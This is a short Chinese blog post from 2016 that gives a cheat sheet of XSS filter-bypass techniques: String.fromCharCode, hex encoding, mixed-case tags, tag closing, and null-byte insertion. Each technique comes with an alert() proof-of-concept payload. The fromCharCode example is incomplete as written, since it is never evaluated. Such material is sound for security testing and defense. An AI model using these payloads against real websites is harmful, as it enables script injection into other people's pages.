可我浪费着我寒冷的年华

xss绕过姿势

#未完待续...

 

00x1、绕过 magic_quotes_gpc

magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换,

比如:

'   

会被转换为

\'

再比如:

\

会转换为

\\

可见其在正常字符的前面多加了一个斜杠。

一个被使用了magic_quotes_gpc简单案例:

<script>alert("xss");</script>

会转换为

<script>alert(\"xss\");</script>

如此一来我们的xss就不生效了。

针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert("XSS");转换为

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)

那么我们的XSS语句就变成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

如何转换ASCII码呢?

我们可以使用 hackbar 来搞定,Firefox的扩展工具https://addons.mozilla.org/en-US/firefox/addon/hackbar/

最后使用<script>转换后的放到这里</script>包含即可。

00x2、HEX编码

我们可以对我们的语句进行hex编码来绕过XSS规则。

比如:
<script>alert("xss");</script>
可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
在线工具:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
00x3、改变大小写
 
在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则
比如:
<script>alert("xss");</script>
可以转换为:
<ScRipt>ALeRt("XSS");</sCRipT>
00x4、关闭标签
 
有时我们需要关闭标签来使我们的XSS生效,如:
"><script>alert("Hi");</script>
参考地址:
http://www.breakthesecurity.com/2011/12/bypassing-xss-filters-advanced-xss.html
http://www.exploit-db.com/papers/15446/
 
00x5、使用空字符
 
<scr%00ipt>alert("XSS")</scri%00ip>
空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 但只在 IE 6.0, IE 7.0 可以。
 
posted @ 2016-11-03 18:52  珍惜少年时  阅读(5991)  评论(0编辑  收藏  举报
可我浪费着我寒冷的年华